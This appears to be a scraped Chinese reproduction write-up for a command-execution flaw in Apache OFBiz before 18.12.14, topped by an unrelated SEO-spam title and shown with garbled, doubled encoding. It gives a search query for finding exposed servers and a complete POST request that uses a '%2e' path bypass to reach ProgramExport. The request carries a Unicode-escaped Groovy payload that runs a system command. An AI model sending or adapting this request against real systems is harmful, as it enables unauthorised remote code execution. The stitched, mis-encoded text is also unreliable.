當(dāng)前位置：首頁(yè) > news >正文

電影網(wǎng)站盜鏈怎么做seo是搜索引擎營(yíng)銷嗎

news 2025/7/9 1:20:26

電影網(wǎng)站盜鏈怎么做,seo是搜索引擎營(yíng)銷嗎,b2b網(wǎng)站如何做社群運(yùn)營(yíng),新疆氣象局網(wǎng)站0x01 產(chǎn)品簡(jiǎn)介 Apache OFBiz是一個(gè)電子商務(wù)平臺(tái)，用于構(gòu)建大中型企業(yè)級(jí)、跨平臺(tái)、跨數(shù)據(jù)庫(kù)、跨應(yīng)用服務(wù)器的多層、分布式電子商務(wù)類應(yīng)用系統(tǒng)。是美國(guó)阿帕奇(Apache)基金會(huì)的一套企業(yè)資源計(jì)劃(ERP)系統(tǒng)。該系統(tǒng)提供了一整套基于Java的Web應(yīng)用程序組件和工具。 0x02 …

0x01 產(chǎn)品簡(jiǎn)介

Apache OFBiz是一個(gè)電子商務(wù)平臺(tái)，用于構(gòu)建大中型企業(yè)級(jí)、跨平臺(tái)、跨數(shù)據(jù)庫(kù)、跨應(yīng)用服務(wù)器的多層、分布式電子商務(wù)類應(yīng)用系統(tǒng)。是美國(guó)阿帕奇(Apache)基金會(huì)的一套企業(yè)資源計(jì)劃(ERP)系統(tǒng)。該系統(tǒng)提供了一整套基于Java的Web應(yīng)用程序組件和工具。

0x02 漏洞概述

Apache OFBiz 18.12.14之前版本存在命令執(zhí)行漏洞，該漏洞源于org.apache.otbiz.webapp.control.ControlFiter類對(duì)路徑(請(qǐng)求URL中的特殊字符(如;、%2e)限制不當(dāng)導(dǎo)致攻擊者能夠繞過(guò)后臺(tái)功能點(diǎn)的過(guò)濾器驗(yàn)證，并通過(guò)webtools/control/ProgramExpor接囗的編程導(dǎo)出功能執(zhí)行任意Groovy代碼獲取系統(tǒng)權(quán)限。

0x03 搜索語(yǔ)法

app="Apache_OFBiz"

在這里插入圖片描述

0x04 漏洞復(fù)現(xiàn)

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: your-ip
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencodedgroovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b